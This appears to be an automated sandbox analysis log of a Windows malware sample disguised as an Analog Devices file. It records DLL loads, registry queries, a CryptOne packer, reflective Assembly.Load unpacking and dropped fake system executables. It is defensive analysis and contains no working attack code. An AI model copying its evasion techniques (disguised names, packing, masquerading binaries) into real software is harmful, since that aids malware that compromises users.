Source: C:\Windows\SysWOW64\at.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: cryptdll.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: schedcli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: msv1_0.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: cryptdll.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: schedcli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: msv1_0.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: cryptdll.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: schedcli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: msv1_0.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: cryptdll.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: schedcli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: msv1_0.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: cryptdll.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: schedcli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: msv1_0.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: cryptdll.dll
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Section loaded: mscoree.dll
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Section loaded: version.dll
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Section loaded: wldp.dll
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Section loaded: profapi.dll
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Section loaded: rasapi32.dll
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Section loaded: rasman.dll
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Section loaded: rtutils.dll
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Section loaded: mswsock.dll
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Section loaded: winhttp.dll
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Section loaded: winnsi.dll
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Section loaded: secur32.dll
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Section loaded: schannel.dll
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Section loaded: msasn1.dll
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Section loaded: gpapi.dll
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Section loaded: dpapi.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: schedcli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: msv1_0.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: cryptdll.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: schedcli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: msv1_0.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: cryptdll.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: schedcli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: msv1_0.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: cryptdll.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: schedcli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: msv1_0.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: cryptdll.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: schedcli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: msv1_0.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: cryptdll.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: schedcli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: msv1_0.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: cryptdll.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: schedcli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: msv1_0.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: cryptdll.dll
Source: C:\Windows\System\explorer.exe	Section loaded: msvbvm60.dll
Source: C:\Windows\System\explorer.exe	Section loaded: vb6zz.dll
Source: C:\Windows\System\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System\explorer.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System\explorer.exe	Section loaded: sxs.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: schedcli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: msv1_0.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: cryptdll.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: schedcli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: msv1_0.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: cryptdll.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: schedcli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: msv1_0.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: cryptdll.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: schedcli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: msv1_0.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: cryptdll.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: schedcli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: msv1_0.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: cryptdll.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: schedcli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: msv1_0.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: cryptdll.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: schedcli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: msv1_0.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: cryptdll.dll

Source: C:\Users\user\Desktop\ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Source: ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe

Static file information: File size 1167385 > 1048576

Data Obfuscation

Detected CryptOne packer

Source: C:\Windows\System\svchost.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{B196B287-BAB4-101A-B69C-00AA00341D07}\ProxyStubClsid32

.NET source code contains potential unpacker

Source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .3832fa0.0.raw.unpack, upwd8X1WPCADek2By0.cs	.Net Code: QC27cT3rtj System.Reflection.Assembly.Load(byte[])
Source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .7a90000.5.raw.unpack, upwd8X1WPCADek2By0.cs	.Net Code: QC27cT3rtj System.Reflection.Assembly.Load(byte[])

Source: ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe	Static PE information: section name: .tdata
Source: icsys.icn.exe.0.dr	Static PE information: section name: .tdata
Source: explorer.exe.2.dr	Static PE information: section name: .tdata
Source: spoolsv.exe.4.dr	Static PE information: section name: .tdata
Source: mrsys.exe.4.dr	Static PE information: section name: .tdata
Source: svchost.exe.5.dr	Static PE information: section name: .tdata
Source: stsys.exe.6.dr	Static PE information: section name: .tdata

Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Code function: 1_2_06DD8173 push eax; iretd	1_2_06DD8179
Source: C:\Windows\System\svchost.exe	Code function: 6_2_0019CEF0 push eax; retf	6_2_0019CEF1
Source: C:\Windows\System\svchost.exe	Code function: 6_2_03CFFC27 pushad ; iretd	6_2_03CFFCA9

Source: adsp-21593bbpz10 analog devices, inc. 5000.exe .0.dr

Static PE information: section name: .text entropy: 7.76164673187746

Source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .3832fa0.0.raw.unpack, oih7yHmwS23wql4Zve.cs	High entropy of concatenated method names: 'AfNsAsk54N', 'E65s50YMXw', 'jjOsetM9NY', 'tl5skVsLh0', 'J3Ms9mILKD', 'AsRs8INMAG', 'xKMKGiFxlds162xsqS', 'gbARiiuf5dCDmpvTTG', 'Y47ssBl91E', 'vlKsOSOoUR'
Source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .3832fa0.0.raw.unpack, upwd8X1WPCADek2By0.cs	High entropy of concatenated method names: 'AoyOVCDA84', 'eeeOG2fPeN', 'yJAOywxhkf', 'wk5OMBsbIo', 'gdqOLYS8gY', 'krrOBdxRmW', 'ixxOA9rHbt', 'RPUO5PXKlZ', 'w6CONdTDog', 'da3OeGGD2d'
Source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .3832fa0.0.raw.unpack, obJhoqWr2M6K9oRQ2T.cs	High entropy of concatenated method names: 'WT7uFOx1Mt', 'r9aul87Gxa', 'hF8uC4Hjob', 'PuFujOVVvR', 'kJJu6al4rT', 'cCMu47SAoj', 'it3uw0AA0q', 'TKouPHkHV2', 'xt4uDDZSGG', 'lTNuESD2PV'
Source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .3832fa0.0.raw.unpack, ldhoqX7HPxgqcwTPpY.cs	High entropy of concatenated method names: 'WCuc8b6FU', 'oRAXrCAep', 'P3odfXdGK', 'qkVpWOtXA', 'RyrlfYTG2', 'QWLIsXSFP', 'MkXtSs5RMDYkAwWR5N', 'gPvILsPkOFdU1PbCqF', 'HScoaIwv8', 'zDs3fCgH6'
Source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .3832fa0.0.raw.unpack, CpLif3rBsMeshG3gneF.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'p8p3JnEMET', 'Ouk30NBqEU', 'qrA3YLTMWR', 'kwu3m3q6Iu', 'DbY319JhAF', 'tqf3KF02hn', 'VPj3QMvyua'
Source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .3832fa0.0.raw.unpack, y5sNI8IQvFyQ2VTXI3.cs	High entropy of concatenated method names: 'GSnBVYXSC6', 'ckhByV3EXY', 'hvjBLyfsFD', 'AReBA8bIPj', 'ecfB585wvZ', 'lyhL1GUyLH', 'moiLKrLNII', 'ouYLQ7anyL', 'p41Lq02f1q', 'XdYLZyLEuG'
Source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .3832fa0.0.raw.unpack, XLMRtyrjBZ6OBC5Cmuw.cs	High entropy of concatenated method names: 'U0oaSATiZi', 'f68aHq8gxV', 'O0macarWxB', 'sQlaXXMBj5', 'XSLan8ptdv', 'f6vadlqocC', 'lI6apC7yUh', 'RJhaFDg3bD', 'XpYalZsLQH', 'z5VaIbVNbf'
Source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .3832fa0.0.raw.unpack, ekFh9HLqFx2jAmSEeB.cs	High entropy of concatenated method names: 'QVVLn9efPL', 'RuVLpckwmp', 'sM2MtsqHYd', 'WlpM6N7amK', 'MXSM4gceKp', 'w0TMiXqBjv', 'zLyMweDLqk', 'vVoMPDVRjj', 'C0KMrU28qF', 'cYXMDKQVLQ'
Source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .3832fa0.0.raw.unpack, OX2b8AkuDLXhQbOilc.cs	High entropy of concatenated method names: 'Dispose', 'fEKsZlab85', 'DSefjogn4o', 'wKcbbYkjDS', 'ExrsRKbcfs', 'C0mszvbTaD', 'ProcessDialogKey', 'eHmfxmPjrP', 'ofgfs37J2t', 'AOUff0DvLk'
Source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .3832fa0.0.raw.unpack, MZkYHCpfofUUs915rR.cs	High entropy of concatenated method names: 'MnvASY7q0U', 'qCcAHueLFO', 'upyAc16gZy', 'BUyAXxV5JG', 'MOUAnmv3Eg', 'JTXAdsLYFr', 's3NApSek7H', 'B2WAFIG8xK', 'srqAlHStls', 'OFTAIs6lT7'
Source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .3832fa0.0.raw.unpack, DZGTglS8e0eCJ9lRRS.cs	High entropy of concatenated method names: 'TDZoCUdP1q', 'uaJojXxN0v', 'DOqotDZKVE', 'rdlo63MV3f', 'xN1oJ7saKU', 'MuIo4kbTCI', 'Next', 'Next', 'Next', 'NextBytes'
Source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .3832fa0.0.raw.unpack, e9tB84FpCnymZpQ6TG.cs	High entropy of concatenated method names: 'jpN9DTDhE4', 'vLY9We0GIP', 'aJ49JVtvcb', 'mLM90TdPrf', 'gax9jW3ZZ3', 'Au69trPNJk', 'Vp696PqRhp', 'aDZ94WfhLT', 'iHr9i64pcw', 'aX39w7UFD5'
Source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .3832fa0.0.raw.unpack, pgCFbFHYWvm0GskofL.cs	High entropy of concatenated method names: 'XmxAGvAOVy', 'ckdAMWN3O0', 'XYXABPepE7', 'assBRLVC2Q', 'WT5Bz4tSjj', 'zwCAx5Avqo', 'beJAsY4qtk', 'x1rAfq4yfj', 'UghAO4FJq5', 'kbHA73MO1n'
Source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .3832fa0.0.raw.unpack, pCjeI2niMiVMnRI3RB.cs	High entropy of concatenated method names: 'dtryJtJB1K', 'MTvy0PRnVe', 'b5LyYyvQ5g', 'Dfeym7jcsl', 'c9By1yWS4V', 'Fp6yK3Rf9Z', 'I2eyQhOV52', 'ABkyqlcTp1', 'HTRyZ9xvbr', 'FF2yRj9Nxu'
Source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .3832fa0.0.raw.unpack, b5hckvz6YtEdKGAi2C.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'BCqau82KXn', 'a2Ca9D8V8W', 'E0Va8Rp29q', 'COWag9bn7h', 's5faoHh4ok', 'koJaa6212d', 'DxSa3lsoP1'
Source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .3832fa0.0.raw.unpack, gG0Yjlvv7QHSwd0Pak.cs	High entropy of concatenated method names: 'QCfoGqpY15', 'UP9oySFHmx', 'wQVoMkwyrE', 'WsIoLS8UYQ', 'e8ZoBWPbfo', 'fYvoAlQ7Fd', 'yGZo53HimF', 'AanoNJBBRs', 'hAXoeOcSBe', 'WdBokLpaHY'
Source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .3832fa0.0.raw.unpack, hD2JTUrrIwOiIhkqh4R.cs	High entropy of concatenated method names: 'ToString', 'Oup3OAZT1n', 'ziQ37xCiEb', 'Fm43VUWbb2', 'Crr3GalMYq', 'KKK3yEtQVm', 'p7j3MSKTPv', 'eFB3LRCf9q', 'DeLCEmf7KsN1pw7bRI5', 'CWtJPdfQ5s9uYAKoS2p'
Source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .3832fa0.0.raw.unpack, BF6AxEhkBwQnpk58vv.cs	High entropy of concatenated method names: 'iQeMX6pkTT', 'addMdpswDn', 'aTgMFUffre', 'B58MlqKtv4', 'IbpM91e83K', 'ntpM8jK961', 'aUXMgBi52E', 'J28Morl5BJ', 'h9UMakqSXe', 'qMUM3mGt3B'
Source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .3832fa0.0.raw.unpack, PhtUi1x6iItutmw9FH.cs	High entropy of concatenated method names: 'WQJasJjuNG', 'UIDaO6iqgW', 'lega7Ivasa', 'jw7aGDBgvL', 'KXVayXbOMD', 'L02aL8KrfJ', 'i6yaByy9nb', 'NjdoQRMrJd', 'COuoqTipCs', 'vNOoZYRkwq'
Source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .7a90000.5.raw.unpack, oih7yHmwS23wql4Zve.cs	High entropy of concatenated method names: 'AfNsAsk54N', 'E65s50YMXw', 'jjOsetM9NY', 'tl5skVsLh0', 'J3Ms9mILKD', 'AsRs8INMAG', 'xKMKGiFxlds162xsqS', 'gbARiiuf5dCDmpvTTG', 'Y47ssBl91E', 'vlKsOSOoUR'
Source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .7a90000.5.raw.unpack, upwd8X1WPCADek2By0.cs	High entropy of concatenated method names: 'AoyOVCDA84', 'eeeOG2fPeN', 'yJAOywxhkf', 'wk5OMBsbIo', 'gdqOLYS8gY', 'krrOBdxRmW', 'ixxOA9rHbt', 'RPUO5PXKlZ', 'w6CONdTDog', 'da3OeGGD2d'
Source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .7a90000.5.raw.unpack, obJhoqWr2M6K9oRQ2T.cs	High entropy of concatenated method names: 'WT7uFOx1Mt', 'r9aul87Gxa', 'hF8uC4Hjob', 'PuFujOVVvR', 'kJJu6al4rT', 'cCMu47SAoj', 'it3uw0AA0q', 'TKouPHkHV2', 'xt4uDDZSGG', 'lTNuESD2PV'
Source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .7a90000.5.raw.unpack, ldhoqX7HPxgqcwTPpY.cs	High entropy of concatenated method names: 'WCuc8b6FU', 'oRAXrCAep', 'P3odfXdGK', 'qkVpWOtXA', 'RyrlfYTG2', 'QWLIsXSFP', 'MkXtSs5RMDYkAwWR5N', 'gPvILsPkOFdU1PbCqF', 'HScoaIwv8', 'zDs3fCgH6'
Source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .7a90000.5.raw.unpack, CpLif3rBsMeshG3gneF.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'p8p3JnEMET', 'Ouk30NBqEU', 'qrA3YLTMWR', 'kwu3m3q6Iu', 'DbY319JhAF', 'tqf3KF02hn', 'VPj3QMvyua'
Source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .7a90000.5.raw.unpack, y5sNI8IQvFyQ2VTXI3.cs	High entropy of concatenated method names: 'GSnBVYXSC6', 'ckhByV3EXY', 'hvjBLyfsFD', 'AReBA8bIPj', 'ecfB585wvZ', 'lyhL1GUyLH', 'moiLKrLNII', 'ouYLQ7anyL', 'p41Lq02f1q', 'XdYLZyLEuG'
Source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .7a90000.5.raw.unpack, XLMRtyrjBZ6OBC5Cmuw.cs	High entropy of concatenated method names: 'U0oaSATiZi', 'f68aHq8gxV', 'O0macarWxB', 'sQlaXXMBj5', 'XSLan8ptdv', 'f6vadlqocC', 'lI6apC7yUh', 'RJhaFDg3bD', 'XpYalZsLQH', 'z5VaIbVNbf'
Source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .7a90000.5.raw.unpack, ekFh9HLqFx2jAmSEeB.cs	High entropy of concatenated method names: 'QVVLn9efPL', 'RuVLpckwmp', 'sM2MtsqHYd', 'WlpM6N7amK', 'MXSM4gceKp', 'w0TMiXqBjv', 'zLyMweDLqk', 'vVoMPDVRjj', 'C0KMrU28qF', 'cYXMDKQVLQ'
